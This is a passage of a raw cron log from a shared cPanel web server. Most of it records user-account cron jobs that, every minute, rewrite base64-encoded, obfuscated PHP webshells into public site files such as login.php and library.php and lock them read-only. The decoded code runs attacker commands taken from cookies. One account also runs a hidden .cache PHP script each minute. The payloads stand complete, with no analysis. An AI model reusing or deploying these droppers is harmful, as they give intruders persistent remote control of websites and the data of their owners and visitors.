pjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:06:01 medusa CROND[3855]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:06:01 medusa CROND[3854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:06:01 medusa CROND[3860]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 06:06:01 medusa CROND[3863]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:06:01 medusa CROND[3865]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:06:01 medusa CROND[3867]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:06:01 medusa CROND[3871]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:06:01 medusa CROND[3874]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:06:01 medusa CROND[3875]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:06:01 medusa CROND[3878]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:06:01 medusa CROND[3880]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 06:06:01 medusa CROND[3882]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:06:01 medusa CROND[3873]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 06:07:01 medusa CROND[20043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:07:01 medusa CROND[20253]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 06:07:01 medusa CROND[20254]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:07:01 medusa CROND[20262]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:07:01 medusa CROND[20263]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:07:01 medusa CROND[20265]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:07:01 medusa CROND[20264]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:07:01 medusa CROND[20258]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:07:01 medusa CROND[20279]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:07:01 medusa CROND[20282]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:07:01 medusa CROND[20284]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:07:01 medusa CROND[20285]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:08:01 medusa CROND[6173]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  2 06:08:01 medusa CROND[6176]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:08:01 medusa CROND[6288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:08:01 medusa CROND[6362]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:08:01 medusa CROND[6361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:08:01 medusa CROND[6365]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:08:01 medusa CROND[6366]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6Om